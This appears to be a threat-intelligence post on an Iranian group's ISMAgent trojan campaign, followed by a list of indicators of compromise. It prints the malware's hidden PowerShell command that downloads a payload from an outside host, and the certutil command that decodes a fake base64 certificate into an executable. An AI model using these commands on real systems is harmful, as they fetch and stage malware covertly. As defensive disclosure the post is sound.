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Recent ISMAgent Samples and Infrastructure by Iranian Threat Group GreenBug
Recently we detected new samples and Infrastructure of ISMAgent, a trojan in use by Iranian Threat Group GreenBug. Interestingly, as part of the delivery mechanism, the malware is disguised as a base64 digital certificate and decoded via certutil.exe. This post describes the new campaign.
Sample change managment.dot (812d3c4fddf9bb81d507397345a29bb0) exploits CVE-2017-0199 and calls the following URL:
which in turn runs this command:
“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -nologo -WindowStyle Hidden $webClient = New-Object http://System.Net .WebClient; $val = $webClient.DownloadString(‘https://a.pomf[.]cat/ntluca.txt ‘); add-content -path ‘C:\Users\USER\AppData\Roaming/srvRep.txt’ -value $val -force
The command downloads ntluca.txt from http://a.pomf[.]cat/ntluca.txt.
Disguised as a base64 digital certificate, the file actually decodes to an ISMagent sample (96b47c5af8652ac99150bf602a88498b) via the following command:
C:\Windows\System32\certutil.exe” -decode C:\Users\USER\AppData\Roaming\srvRep.txt C:\Users\USER\AppData\Roaming\srvConhost.exe
Indicators of compromise
Indicators of compromise are presented below and are available on PassiveTotal.
Domain cdnmsnupdate[.]com Domain msoffice-cdn[.]com URL http://74.91.19[.]122/action2/ URL http://82.102.14[.]246/webdav/aws.exe URL http://www.msoffice-cdn[.]com/updatecdnsrv/prelocated/owa/auth/template.rtf URL http://a.pomf[.]cat/ntluca.txt IP 188.8.131.52 IP 184.108.40.206 IP 220.127.116.11 Hash 6d2f8a06534e2ebebc43295fb266a8ca Hash 812d3c4fddf9bb81d507397345a29bb0 Hash 3d497c4711c0226d86a693a40891f9a1 Hash 96b47c5af8652ac99150bf602a88498b Hash 66eaef10226fb279dba64bb5948bc85b Hash 7d83715a9a6aabcbc621cc786de0c9ea Hash 15d9d184b71d243ae5c005c68a045889 whoisName Neslihan Ozcivit whoisEmail firstname.lastname@example.org Filename aws.exe Filename Crypted.exe Filename document-gerenated-problem.exe Filename PolicyConverter.exe
The Maltego graph below depicts the relationship among the indicators (click to enlarge):